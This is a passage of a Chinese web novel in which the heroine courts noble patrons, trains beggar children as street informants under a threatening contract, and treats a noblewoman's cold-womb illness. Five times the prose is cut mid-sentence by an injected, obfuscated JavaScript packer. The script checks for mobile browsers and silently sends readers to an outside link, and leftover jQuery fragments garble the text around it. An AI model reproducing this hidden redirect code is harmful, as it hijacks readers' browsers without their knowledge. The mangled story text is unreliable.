回到杏林堂,姜绾歌脸上已无半分在王府时的针锋相对或“忐忑”,只剩下冷静高效的执行力。 “阿福!”她扬声唤道,眼神明亮,“把库房里品相最好的那个大食玻璃瓶找出来!要一丝瑕疵都没有的!” “是,东家!”阿福连忙应声。 她亲自挑选最纯净澄澈的玫瑰凝露原液,小心灌入那流光溢彩的玻璃瓶中。 系上早已准备好的、用金线掺着真丝编织的华丽束口结。 每一个步骤都一丝不苟,力求完美。 这是她打开局面的第一枪,必须足够惊艳。 至于顾云霁的“三日之期”?她信,但更信自己的产品和策略。 次日天刚蒙蒙亮,包装得如同稀世珍宝般的玫瑰凝露,连同那份措辞考究的洒金拜帖,已被阿福稳妥地送往了永昌伯府。 三天后的下午,杏林堂门前忽然停下一辆青呢小轿。 轿帘掀开,走出一个身穿湖蓝色衣裙的中年美妇,正是永昌伯府的秋姨娘。 她身后跟着两个丫鬟,气度雍容,一看就是大户人家的主子。 请问姜大夫在吗?秋姨娘的声音温婉动听。 在在在!阿福连忙跑去通报。 姜绾歌整理了一下衣衫,快步迎了出来:秋姨娘大驾光临,有失远迎! 姜大夫客气了,秋姨娘笑着说,妾身是来感谢的。 感谢?姜绾歌故作不解。 你送的那瓶凝露,秋姨娘眼中闪烁着兴奋的光芒,真是神奇!妾身用了三日,脸上的细纹竟然真的淡了不少! 她凑近姜绾歌,压低声音说:这玻璃瓶的触感也是冰凉舒适,比什么玉瓶都要好!这真的是西域秘法制成的吗? 正是,姜绾歌点头,这是我花重金从西域商人那里学来的秘方,材料珍贵,制作工艺复杂。 难怪效果这么好!秋姨娘感叹道,姜大夫真是奇人! 她四下看了看,然后说:不知姜大夫可有空闲?妾身想请你到府中"赏花",有些话想要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15975332|174770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 细谈。 赏花?姜绾歌心中一动,知道机会来了。 是啊,秋姨娘意味深长地说,我家老爷最近身体有些不适,特别是...有些难言之隐,需要请高明大夫诊治。听说姜大夫医术精湛,不知可否移步府中? 姜绾歌立刻明白了,这是要请她给永昌伯看病,而且还是男科疾病! 自然可以,她点头答应,医者父母心,既然伯爷有恙,绾歌义不容辞。 那太好了!秋姨娘喜上眉梢,我这就回去安排,明日午后,还请姜大夫移步伯府。 秋姨娘的青呢小轿消失在街角,杏林堂门前恢复了往日的忙碌,但姜绾歌的心湖却不再平静。 秋姨娘眼中那份对凝露效果毫不掩饰的惊喜,以及那句意有所指的“赏花”邀约,如同投入水面的石子,激起的不仅是成功的涟漪,更是对更大机遇的敏锐捕捉。 送走了秋姨娘,姜绾歌心中暗暗得意。顾云霁这条路子果然靠谱,三天就见效了! 看来打入贵妇圈指日可待了! “永昌伯的‘难言之隐’…”姜绾歌回到内室,指尖无意识地敲击着桌面,眼中精光闪烁。 这哪里是单纯的看病? 这分明是秋姨娘递过来的一张进入永昌伯府核心、甚至窥探其隐秘的通行证! 一个掌握实权、又身患难以启齿隐疾的老伯爷…这背后能牵扯出多少人情、把柄、乃至利益交换? 顾云霁指的路,价值远超预期! 她立刻叫来阿福:“备一份上好的滋补药材,要包装得低调但显贵重。另外,把库房里那支五十年份的老山参单独包好。” 给伯爷看病,见面礼不能寒酸,更要投其所“需”。 这支老山参,就是她叩开内宅更深层大门的“问路石”。 “东家,秋姨娘不是说伯爷…”阿福有些迟疑。 “嘘!”姜绾歌一个眼刀过去,阿福立刻噤声,“心里有数就行。记住,明日去伯府,多看,多听,少说。特别是关于伯爷病情和府里人情往来的,回来事无巨细告诉我。” 她需要第一手的情报,来自最核心的漩涡。 第162章 奇怪的字符 安排妥当,姜绾歌却并未放松。 秋姨娘这条线固然重要,但情报网络不能只依赖单一来源,更不能只局限于高门大户。 那些看似不起眼的酒楼茶肆、贩夫走卒,往往才是信息最庞杂、也最真实的源头。 而她的醉仙楼,坐拥三教九流,天然就是一张巨大的情报网雏形! 是时候将这张网,正式编织起来了。 夜幕降临,姜绾歌并未在杏林堂久留。她简单交代几句,便悄然来到醉仙楼。 她没有去最僻静的后院深处,而是选择了后院与前堂连接处的一间小耳房。 这里原本用作存放些杂物,位置巧妙——既与前堂的热闹仅一墙之隔,能清晰捕捉到传来的声浪,又因堆放着东西显得不起眼,少有人特意进来打扰。 姜绾歌特意让人简单收拾过,搬了桌椅进来,点起一盏光线不算明亮的油灯。摇曳的灯火将杂物的影子拉得老长,营造出一种半明半暗的隐秘感,正是进行“特殊培训”的理想场所。 姜绾歌坐在桌前,面前铺着一张白纸,正拿着毛笔在上面画着奇怪的符号。 三角形、圆圈、方块...这些简单的图案在她笔下一个个成型,每一个都代表着不同的含义。 小淘,过来。她头也不抬地叫道。 正蹲在门口阴影处、假装擦拭门框实则留意四周动静的姜小淘,立刻像只机敏的小兽般窜了进来,黑白分明的大眼睛在昏黄灯光下显得格外亮:“姐姐,你叫我?” “嗯,学点新本事。”姜绾歌目光沉静,落笔在纸上迅速勾勒出一个清晰的三角形,“看好,记住。三角形,代表怨怼。听到谁抱怨主子、不满差事、或者发牢骚,就画这个。” 接着,炭笔一转,画出一个浑圆的圆圈:“圆圈,代表金钱。银钱往来、俸禄增减、赏赐多少、甚至抱怨钱不够花,听到就画圈。” 最后,一个方方正正的方块跃然纸上:“方块,代表升迁。谁想升官、谁要被调走、谁的位置不稳了…听到风声,就画方块。” 姜绾歌放下炭笔,目光如炬地看着小淘:“这些符号简单,但组合起来,就能拼出很多秘密。以后在楼里跑腿、听墙角,就用这套符号悄悄记下来,明白吗?” 姜小淘虽然年纪小,但向来机灵,立刻点头:明白了!姐姐是要我当细作? 什么细作?姜绾歌没好气地拍了他脑袋一下,咱们这叫收集信息!知己知彼百战不殆,懂不懂? 正说着,外面传来脚步声和说话声。姜绾歌竖起耳朵仔细听着,很快就听出是兵部的李主事在跟人喝酒聊天。 ...**,又是一年冰敬!李主事的声音带着明显的怒气,本来说好的五百两,硬是被那老狐狸克扣了二百两! 嘘!另一个声音劝道,李兄慎言,隔墙有耳啊! 怕什么?李主事显然喝多了,声音更大,老子在兵部熬了十几年,连个主事都升不上去,还不让人说两句?那孙子坐在尚书位子上作威作福,老子早晚要... 行了行了,喝酒喝酒!那人连忙打断他。 姜绾歌听得眼中精光一闪,立刻在纸上画了个三角形,然后又画了个圆圈,还标注了李主事、冰敬、二百两几个字。 小淘,看见没?她指着符号说,李主事刚才的话里有怨怼情绪,还提到了钱,所以要画三角和圆圈。 姜小淘似懂非懂地点头:那个冰敬是什么? 冰敬就是夏天的例钱,相当于补贴,姜绾歌解释道,官员们每年夏天都有这笔收入,数目不小。李主事说被克扣了二百两,这就是有用的信息。 她想起前世在现代社会学到的情报分析知识,心中暗暗得意。在这个信息就是财富的时代,掌握了这些小道消息,就等于掌握了商机。 姐姐,那我们要这些消息干什么?姜小淘好奇地问。 当然有用!姜绾歌神秘一笑,知道谁缺钱,就知道谁可能****。知道谁有怨气,就知道谁可能被人利用。这些都是宝贵的信 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15975333|174770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 息! 正在她教导小淘的时候,门外忽然传来一阵脚步声。姜绾歌警觉地抬头,就见顾云霁如鬼魅般出现在门口。 他今天穿了件墨色锦袍,腰间系着白玉佩,整个人看起来雅致却又带着几分邪魅。那双桃花眼正似笑非笑地看着她。 姜大夫这是在...做什么有趣的事?他踱步走了进来,目光落在桌上的符号纸上。 要你管!姜绾歌本能地想要遮挡,却被顾云霁眼疾手快地抓住了手腕。 啧啧,他看着纸上的符号,眼中闪过一丝赞赏,三角、圆圈、方块...姜老板这是在设计密码? 松手!姜绾歌用力挣脱,恶狠狠地瞪着他,王爷不请自来,有何贵干? 顾云霁也不恼,自顾自地在椅子上坐下:路过而已。倒是没想到,姜老板除了行医做生意,还会这种...小技巧。 他的语气带着明显的调侃,让姜绾歌火冒三丈:什么小技巧?这叫专业! 专业?顾云霁挑眉,本王倒是好奇,姜老板从哪里学来的这些...专业知识? 姜绾歌被问住了,总不能说是从现代穿越过来的吧?她硬着头皮胡诌:书上看的!《孙子兵法》里不是说了吗,知己知彼百战不殆! 哦?顾云霁眼中的笑意更深,姜老板还读过兵书?真是...博学。 他说着,目光又落在角落里的姜小淘身上。 顾云霁笑了,本王只是觉得,姜老板选人的眼光...还算不错。 他忽然站起身,走到窗边往外看了看,然后压低声音说:墙角那三个小乞丐,饿得眼睛都绿了。姜老板要是真想组建班底,不如... 要你管!姜绾歌截断他的话,但心里却动了心思。 这三个小乞丐她早就注意到了,一直在附近游荡,看起来饿得不行。如果能收为己用,确实是不错的眼线。 当然,顾云霁仿佛看穿了她的心思,这只是本王的一点小建议。毕竟...关心合作伙伴嘛。 第163章 培训字符 顾云霁那句轻飘飘的“合作伙伴?”带着一丝惯有的戏谑,落在姜绾歌耳中却格外刺耳。 她唇角勾起一抹冰冷的弧度,毫不客气地回敬:“王爷这话说得倒是轻巧。合作讲究诚意对等,王爷这人情债的买卖,可看不出几分诚意。” 顾云霁并不恼,反而像是被她这带刺的反应取悦了,那双桃花眼在昏暗光线下闪烁着难以捉摸的光泽。 他意味深长地看了她一眼,仿佛要将她此刻的不忿刻入眼底:“姜老板的大业,本王也挺好奇能走到哪一步的。” 话音未落,他身形微动,月白色的锦袍在夜风中划过一个利落的弧线,人已如一片流云般飘然离去,只留下空气中若有似无的沉水香。 姜绾歌盯着那迅速融入夜色的背影,心头闪过几个念头。 这个男人,他那双眼睛,似乎总能看到她正在谋划什么,这让她有种被无形丝线缠绕的不适感。 不过,他最后那句关于小乞丐的话… 她蹙着眉,快步走到窗边,支起半扇木窗。 醉仙楼后巷的喧嚣和油烟味扑面而来,混杂着夜间特有的凉意。 目光锐利地扫过墙根阴影处,果然!三个小小的、蜷缩成一团的身影,正紧紧挨在一起,像三只无家可归的幼兽。 最大的男孩约莫十二三岁,瘦得颧骨高耸,破旧的单衣几乎挂不住肩膀。 旁边那个稍小些,约莫十岁,眼神像受惊的小鹿,警惕地打量着四周。 最小的那个,看起来只有七八岁,小脸脏污,但一双眼睛却异常明亮,此刻正直勾勾地盯着醉仙楼后门缝隙里飘出的诱**香,喉结不受控制地滚动着。 “小淘!”姜绾歌扬声唤道,声音不高,却清晰地穿透了后厨的嘈杂。 姜小淘立刻从厨房门口探出头来,脸上还沾着面粉:“姐姐,啥事?” 姜绾歌下巴朝窗外努了努:“去,拿几个刚出锅的肉包子来,要大肉馅儿的,多拿几个。” “给谁啊?”小淘顺着她的目光望去,也看到了那三个小乞丐,有些不解。 姜绾歌看着远处:“给咱们未来的姜家班。老姐要收几个得力手下,就从墙根那仨开始。” 很快,姜小淘端着一个粗瓷大碗跑了回来,碗里堆着五六个热气腾腾、皮薄馅大的肉包子,浓郁的香气瞬间在账房里弥漫开。 姜绾歌接过碗,径直推开后门走了出去。 “吱呀”一声门响,惊动了墙角的三个孩子。 他们像受惊的兔子般猛地弹起,最大的男孩下意识地将两个小的护在身后,脏兮兮的脸上满是戒备,眼神里混杂着恐惧和对食物的渴望。 “别怕,”姜绾歌放缓了语气,但依旧带着不容置疑的威严。 她蹲下身,将盛满包子的碗稳稳放在离他们几步远的地上,碗底与青石板接触发出轻微的磕碰声。“饿了吧?先吃饱再说。” 诱人的香气如同无形的钩子。 三个孩子你看看我,我看看你,肚子不争气地咕咕作响。 最小的那个忍不住舔了舔干裂的嘴唇。 最大的男孩——石头,犹豫了片刻,眼中挣扎一闪而过,最终对食物的渴望压倒了恐惧。 他试探性地向前挪了一步,见姜绾歌没有恶意,才飞快地抓起一个包子,又迅速退回去,将包子掰成三份,分给弟弟们。 三人再也顾不得许多,狼吞虎咽起来,滚烫的肉汁烫得他们直哈气,却舍不得停下。 “好吃吗?”姜绾歌轻声问道。 石头嘴里塞满了食物,闻言用力点头,含糊不清地应道:“好…好吃!这是俺们吃过最好吃的包子!” 另外两个孩子也拼命点头,眼睛都亮了起来。 “想天天都有这样的肉包子吃吗?”姜绾歌抛出诱饵,声音带着蛊惑人心的力量,“管够,管饱。” “想!”三个孩子异口同声,声音因为激动而有些发颤。 对他们而言,一顿饱饭已是奢望,天天有肉包子,简直是神仙日子。 “那就跟着**!”姜绾歌站起身,看着他们,“包吃包住,顿顿有肉,月底还有铜板拿。但是!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15979633|174770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她话锋一转,忽然严肃起来,“但得听话,得机灵,最重要的是——一个字都不能往外漏!能做到吗?” 石头反应最快,猛地咽下最后一口包子,挺直了瘦弱的胸膛,大声道:“能!俺能!”二狗和小三子也连忙跟着喊:“能!我们也能!” “好!”姜绾歌满意地颔首,脸上终于露出一丝真切的笑意,“从这一刻起,你们就是我姜绾歌的人了。报上名来。” “俺叫石头!”最大的男孩拍拍胸脯。 “我…我叫二狗。”稍小的男孩有些腼腆。 “小三子!”最小的孩子声音响亮,带着点初生牛犊不怕虎的劲儿。 “石头、二狗、小三子…”姜绾歌念了一遍,名字虽土,但好记。“行,以后就这么叫。现在,听我分派差事。”她目光如炬,精准地落在三人身上。 “石头,”她指向最大的男孩,“你年纪最大,看着也机灵。你的任务最重——负责‘听风’,把耳朵给我竖起来!我会教你认字、画符,听到有用的东西,立刻用符记下来。” 接着指向二狗:“你,二狗,眼神瞧着不错。你的活是‘盯梢’。给我盯紧那些穿着官靴、坐着轿子的人,看他们去哪儿,见了谁,进了哪家铺子,待了多久!记在心里,回来告诉我。” 最后看向小三子:“小三子,你年纪最小,个头也小,钻人堆里不起眼。你的差事是‘跟车’。给我盯死仁德堂的运药车!看清楚他们什么时候出货,从哪个门走,往哪个方向去,车上大概多少箱子,听明白没?” 三个孩子被这一连串的指令砸得有点懵,眼睛瞪得溜圆。 这可比他们想象中讨生活要复杂太多了!什么听风、盯梢、跟车…听起来像戏文里才有的词儿。 石头最先反应过来,用力点头:“记住了!听风、画符!”二狗和小三子也赶忙跟着点头。 姜绾歌带着三个还有些茫然的孩子穿过忙碌的后厨走廊,来到后院角落一间堆满柴火的杂物间。 推开吱呀作响的木门,一股干燥的木头混合着尘土的味道扑面而来。 第164章 契约 姜绾歌拨开几捆柴火,在角落清出一小片空地,铺上一张不知从哪儿找来的破旧草席。 三个孩子局促地在草席上坐下,好奇又紧张地看着姜绾歌。 只见她不知从哪里摸出几根烧过的木炭条,又捡了块相对平整的大木板放在地上。 “首先,认字。”姜绾歌用炭条在木板上工整地写下三个名字:石、头、二、狗、小、三、子。“这是你们的名字。看好了,怎么写的。” 昏暗的光线下,炭笔划出的痕迹清晰可见。 三个孩子从未如此近距离地接触“文字”,对他们而言,这简直是天书般神奇。 姜绾歌放缓速度,一笔一划地示范:“‘石’字,一横一撇一捺…‘头’字,一点一横一撇一点…”她教得认真,三个孩子更是屏息凝神,眼睛一眨不眨地盯着那神奇的符号。 “轮到你们试试。”姜绾歌将炭条递给石头。 石头紧张地接过炭条,手有些发抖。 他学着姜绾歌的样子,在木板边缘的空地上,笨拙地画下“石”字,虽然歪歪扭扭,结构松散,但依稀能辨认出来。 “不错!有样子!”姜绾歌毫不吝啬地给予肯定,“多练几遍,写熟它!” 这声鼓励让石头精神一振,立刻埋头苦练起来。 二狗和小三子也分到了炭条,在地上、木板上磕磕绊绊地模仿着。 待名字写得稍有模样,姜绾歌进入了核心教学。 她擦掉名字,在木板中央画下三个清晰的符号。 “三角形,代表‘怨怼’。就是不满、抱怨、发牢骚。听到谁骂主子、嫌钱少、抱怨差事苦,就画这个!” “圆圈,代表‘金钱’。银子、铜钱、俸禄、赏钱、亏空、贿赂…只要跟钱沾边,听到就画圈!” “方块,代表‘升迁’。升官发财、调职贬官、位置不稳、谁要上位谁要下台…听到风声,就画方块!” 她反复强调,用简单的例子解释:“比如,听到有人说‘这破差事真不是人干的!’——画什么?” “三角形!”石头反应很快。 “说‘这个月俸禄又扣了二钱银子’——画什么?” “圆圈!”二狗也抢答。 “说‘听说王大人要升任侍郎了’——画什么?” “方块!”小三子不甘示弱。 “很好!”姜绾歌满意地看着三个逐渐进入状态的小学徒,“记住,符号要画得又快又准,别让人瞧见你们在画什么。这是咱们的秘密武器!” 接下来是模拟训练。姜绾歌模仿各种人说话:“唉,这日子没法过了,天天被上头骂!” 石头立刻画三角形。 “昨儿个李老爷收了个玉如意,啧啧,值老钱了!” 二狗画圈圈。 “听说了吗?赵主事的位置可能要让张员外的小舅子顶了!” 小三子画方块。 三个孩子越来越熟练,眼神也越来越亮,仿佛掌握了一门神奇的法术。 看着他们认真的样子,姜绾歌心中那份成就感和掌控感油然而生。 虽然现在只是三个懵懂的孩子,但只要用心打磨,假以时日,他们就是她布在京城这张无形大网上的关键节点! 在这个信息就是力量、情报等同黄金的时代,她正在亲手编织一张属于自己的、独一无二的罗网! “好了,最后一步。”姜绾歌从怀中取出一张早已准备好的、略显粗糙的纸,上面用刚劲的字体写着几行字。 立契人:石头、二狗、小三子,自愿追随姜绾歌东家。 一、严守秘密,不得泄露东家吩咐之事及所见所闻,片语不得外传。 二、忠心办事,听从号令。 三、若有违背,或泄密于外… 后果自负,严惩不贷! 立契人画押为证。 她将契约展示给三个孩子看,指着最后那个断腿小人,语气森然:“看清楚了?跟着我,有肉吃,有衣穿,有屋住,有钱拿。但若是管不住自己的嘴,或者生了不该有的心思…” 她故意停顿,目光如冰锥般扫过他们,“这画上的,就是下场!明白吗?” 小三子看着那断腿小人,吓得小脸煞白,往石头身后缩了缩。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15979634|174770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 石头和二狗也紧张地咽了口唾沫。 “别怕,”姜绾歌语气稍缓,带着一丝安抚,“只要你们忠心耿耿,我姜绾歌对兄弟从不亏待!这断腿的规矩,是给叛徒准备的。你们,想当叛徒吗?” “不想!”石头第一个大声回答,挺直了脊梁,“东家给俺们饭吃,教俺们本事,俺们不是白眼狼!”二狗和小三子也连忙跟着摇头。 “好!”姜绾歌拿出一个简陋的印泥盒子,“那就按个手印!从此,咱们就是一条船上的人了!” 石头毫不犹豫,第一个上前,沾了红泥,在契约上自己的名字旁重重按下一个鲜红的指印。 二狗和小三子也依样画葫芦,三个小小的指印并排而立,如同三道忠诚的烙印。 姜绾歌仔细吹干墨迹和印泥,将契约郑重地折叠收好,放进贴身的内袋。 她看着眼前这三个眼神逐渐褪去惶恐、染上希望和坚定光芒的孩子,心中豪气顿生。 “听着!”她站起身,气势如虹,“从明天开始,正式上工!石头跟我学更多符字,二狗、小三子先熟悉街巷。这京城的风吹草动,以后,就是咱们的饭碗!” “是!东家!”三个孩子齐声应道,声音虽稚嫩,却带着一股初生牛犊的锐气。 姜绾歌的目光越过他们,仿佛穿透了柴房的墙壁,看到了更广阔的天地。 顾云霁那句“关心合作伙伴”的调侃言犹在耳。 这个男人,看似闲云野鹤,实则眼观六路耳听八方,她的动作,恐怕都落在他眼里。 但那又如何? 姜绾歌嘴角勾起一抹桀骜的冷笑。她行事光明磊落,每一步棋都走得堂堂正正。 建立情报网是为了自保,更是为了反击!仁德堂的暗箭,她可都记着呢! 早晨的阳光透过永昌伯府的雕花窗棂洒进偏院,庭中几株海棠花开得正盛,粉嫩的花瓣在微风中轻摇。 姜绾歌跟在秋姨娘身后,手里提着药箱,心中暗暗打量着这座豪宅的布局。 姜大夫,这边请。秋姨娘压低声音,引着她穿过一道月亮门,赵氏就在里面等着呢。 第165章 为赵氏治病 踏进内院,姜绾歌立刻感受到一股压抑的气息。院子虽然收拾得干净,但处处透着冷清,连花草都显得没有生气。 赵妹妹,姜大夫来了。秋姨娘轻声唤道。 房门吱呀一声打开,走出一个二十五六岁的年轻女子。她容貌清秀,但脸色苍白,眼下带着淡淡的青圈,一看就是长期被病痛折磨的样子。 赵氏见过姜大夫。那女子盈盈一礼,声音软得像棉花,早就听说姜大夫妙手回春,今日得见,真是三生有幸。 夫人客气了。姜绾歌还礼,目光在赵氏脸上扫过,心中已经有了几分判断。 赵妹妹的病症...有些复杂,秋姨娘在一旁说道,姜大夫,要不咱们进屋详谈? 三人进了房间,姜绾歌四下打量一番。房中陈设虽然精致,但处处透着冷意。床榻上铺着厚厚的被褥,桌上放着暖手炉,显然主人很怕冷。 赵夫人,请坐。姜绾歌示意赵氏坐在椅子上,自己则在对面坐下,先让我为您诊脉。 赵氏伸出纤细的手腕,姜绾歌轻轻搭上去。指尖触及脉搏的瞬间,她眉头微蹙——脉象沉迟无力,明显是寒症。 夫人平素可有腹痛的毛病?她一边诊脉一边问道。 有...有的,赵氏脸色微红,每到月事来临,小腹就疼得要命,有时候疼得在床上打滚。而且...而且月事也不太规律,有时候两三个月才来一次。 姜绾歌点点头,又问:那平时是否怕冷?手脚冰凉? 是的!赵氏如遇知音般激动,我一年四季都觉得冷,夏天都要盖厚被子。手脚更是冰得像冰块一样,老爷都说我像个冰美人。 还有吗?姜绾歌继续问,比如腰酸背痛,精神不振之类的? 都有!赵氏连连点头,尤其是腰,总是酸得直不起来。而且总是没精神,动不动就想睡觉。 姜绾歌放开她的手腕,心中已经有了明确的诊断。这是典型的宫寒症状,在现代医学中称为痛经和不孕症。 秋姨娘,她转向秋姨娘,能否借个屏风?我需要为赵夫人做进一步检查。 自然可以。秋姨娘立刻让丫鬟搬来屏风。 赵夫人,请到屏风后躺下。姜绾歌起身,从药箱里取出银针,我需要触诊一下您的腹部。 赵氏有些紧张,但还是照做了。姜绾歌隔着薄薄的衣料,轻抚她的小腹,果然摸到了硬结和压痛点。 夫人,您这病症的根源,在于胞宫寒瘀。姜绾歌一边收起银针一边解释,简单来说,就是腹部内有寒气和瘀血阻滞,导致气血不通,所以才会疼痛不孕。 她从药箱里取出一个小巧的陶制模型,那是她按照前世记忆制作的腹部解剖模型。 您看,这就是女子的胞宫,她指着模型解释道,正常情况下,这里应该是温暖通畅的。但您这里...她指着模型的某个部位,有寒气**,血脉不通,所以月事不调,难以受孕。 赵氏和秋姨娘都看得目瞪口呆,从来没见过这样直观的讲解。 那...那该怎么治呢?赵氏急切地问道。 需要温经散寒,活血化瘀。姜绾歌放下模型,重新取出银针,我先为您施针,疏通经络。 她选准关元穴,轻轻刺入银针,然后在针尾放上艾绒点燃。温热的感觉顺着银针传入穴位,赵氏顿时感到小腹一阵暖流涌动。 啊!赵氏惊呼一声,好暖和!小腹里像有一团火在烧! 这就对了,姜绾歌满意地点头,艾灸能温阳散寒,配合银针疏通经络,效果最佳。 又施了几针,整个过程持续了半个时辰。当姜绾歌收起银针时,赵氏已经满头大汗,但精神却好了许多。 姜大夫,我感觉小腹暖洋洋的,好舒服!赵氏激动地说,以前从来没有过这种感觉! 这只是开始,姜绾歌取出笔墨,开始开方子,要想根治,还需要内服汤药。 她在纸上写道:当归三钱,川芎二钱,白芍三钱,熟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15983159|174770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地四钱,香附二钱,延胡索二钱,肉桂一钱,干姜一钱,艾叶二钱... 这是温经汤加味,她一边写一边解释,当归补血活血,川芎行气活血,白芍柔肝止痛,熟地滋阴补血,香附理气调经... 每一味药的功效她都解释得清清楚楚,听得秋姨娘和赵氏连连点头。 方子开好了,姜绾歌将药方递给赵氏,每日一剂,煎服两次。不过这病需要慢慢调理,至少要三个月的疗程。 三个月?赵氏有些着急,能不能快一些? 心急吃不了热豆腐,姜绾歌摇头,您这病根深蒂固,急不得。而且除了汤药,还需要定期针灸,每隔三日一次。 定期针灸?秋姨娘眼睛一亮,那岂不是要经常麻烦姜大夫? 为了病人的健康,这点麻烦算什么?姜绾歌大义凛然地说。 赵氏感激得眼泪都快掉下来了:姜大夫真是活菩萨!我...我一定听您的话,好好调理! 那就好,姜绾歌收拾药箱,记住了,忌食生冷,多喝热水,保持心情愉快。 秋姨娘在一旁看得暗暗点头,这个姜大夫不但医术高明,说话也得体,确实是个人才。 姜大夫,她从袖中掏出一张银票,这是诊金,还请笑纳。 姜绾歌看了一眼,竟然是十两银子!这可比她平时的诊金高出不少。 秋姨娘太客气了,她假意推辞,治病救人是医者本分,哪能要这么多诊金? 应该的应该的,秋姨娘强行塞到她手里,姜大夫医术如此高明,这点诊金算什么? 她压低声音,凑近姜绾歌耳边:实不相瞒,我还有个朋友,也是这样的病症。她是吏部尚书夫人,多年不孕,愁得不行。不知姜大夫可有空闲? 吏部尚书夫人?姜绾歌脑子里快速的找记忆。 正是,秋姨娘点头,她听说了你的凝露,还有今日为赵氏治病的效果,已经心动了。若是姜大夫能治好她的病... 第166章 包销契约 话没说完,但意思很明显——这将是一个更大的机会。 当然可以,姜绾歌连忙答应,医者父母心,不论贵贱,都是我的病人。 那太好了!秋姨娘喜不自胜,我这就去安排! 告别了赵氏,秋姨娘亲自送姜绾歌到府门口。一路上,她不断夸赞姜绾歌的医术,言语间透着明显的拉拢之意。 姜大夫真是奇人,她感叹道,不但医术高明,人品也好。以后若有什么需要帮助的地方,尽管开口。 多谢姨娘!姜绾歌客气地回应,心中却在盘算着下一步的计划。 走出伯府大门,夕阳西下,街道上人来人往。姜绾歌正要回杏林堂,忽然听到一阵熟悉的马蹄声。 回头一看,顾云霁的马车正恰好停在路边。车帘掀开,露出他那张英俊却又带着几分邪魅的脸。 如何?他似笑非笑地问道,我引荐的人,没让姜老板失望吧? 还行吧,姜绾歌走到马车边,这条路子确实不错。 她正要详细说说今天的收获,忽然远处传来急促的马蹄声。一匹快马从街道尽头疾驰而来,马上的信使高声呼喊着: 八百里加急!陛下南巡归銮,三日后抵京! 这声音如惊雷般在街道上响起,所有人都停下了脚步。 姜绾歌脸色瞬间变了,心脏狂跳起来。顾铭轩要回来了!那个问题...她必须给出答案了! 她想起上次分别时顾铭轩那深情的眼神,想起他说过的那些话,心中一阵慌乱。这段时间她忙着生意,几乎把这件事抛到了脑后,但现在... 哦?顾云霁的声音将她拉回现实,陛下要回来了。 他的目光如鹰隼般锐利,准确地捕捉到了姜绾歌瞬间的慌乱。那双桃花眼微微眯起,语气听不出任何情绪: 看来...姜老板很快要做出"选择"了? 这句话说得轻描淡写,但姜绾歌却听出了其中的深意。她抬头看向顾云霁,发现他正用一种复杂的眼神看着她。 那眼神里有探究,有玩味,还有一丝她看不懂的情绪。 王爷...这话什么意思?她努力保持镇定。 顾云霁没有回答,只是深深看了她一眼,然后放下车帘:时候不早了,姜老板早些回去歇息吧。 马车缓缓离去,留下姜绾歌一个人站在街头。夕阳的余晖洒在她身上,将她的影子拉得老长。 三日后,顾铭轩就要回京了。 到那时,她该怎么办? 心中的慌乱如潮水般涌来,姜绾歌深吸一口气,强迫自己冷静下来。 船到桥头自然直,到时候再说吧! 但她知道,那个无法回避的选择,正在一步步逼近... 城外二十里的青山村,夕阳西下,炊烟袅袅。姜绾歌坐在一辆简陋的骡车上,车轮在坑洼不平的山路上颠簸着,每一下都震得她骨头发疼。 东家,前面就是老赵家了。赶车的阿福指着前方一间破旧的茅屋说道。 